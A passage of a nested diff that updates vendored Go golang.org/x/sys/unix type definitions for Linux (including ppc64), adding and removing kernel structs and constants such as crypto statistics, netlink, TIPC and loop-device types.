-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x20001269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint32
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint32
-+ Reserved [4]int8
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go
-index 2b0b18e9..74151909 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -105,7 +88,7 @@ type Stat_t struct {
- Mode uint32
- Uid uint32
- Gid uint32
-- X__pad2 int32
-+ _ int32
- Rdev uint64
- Size int64
- Blksize int64
-@@ -118,139 +101,29 @@ type Stat_t struct {
- _ uint64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]uint8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]uint8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]uint8
-@@ -261,51 +134,20 @@ type RawSockaddrAny struct {
- Pad [96]uint8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -314,277 +156,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Gpr [32]uint64
- Nip uint64
-@@ -616,71 +197,37 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]uint8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]uint8
-- Nodename [65]uint8
-- Release [65]uint8
-- Version [65]uint8
-- Machine [65]uint8
-- Domainname [65]uint8
-+ _ [0]uint8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]uint8
-- Fpack [6]uint8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]uint8
-+ Fpack [6]uint8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
-- Events uint32
-- X_padFd int32
-- Fd int32
-- Pad int32
--}
--
--const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
-+ Events uint32
-+ _ int32
-+ Fd int32
-+ Pad int32
- }
-
- const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -693,20 +240,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -718,13 +256,12 @@ type Taskstats struct {
- Ac_comm [32]uint8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -748,55 +285,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]uint8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]uint8
-+ Driver_name [64]uint8
-+ Module_name [64]uint8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]uint8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]uint8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]uint8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]uint8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]uint8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]uint8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint64
-+ Inode uint64
-+ Rdevice uint64
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]uint8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]uint8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
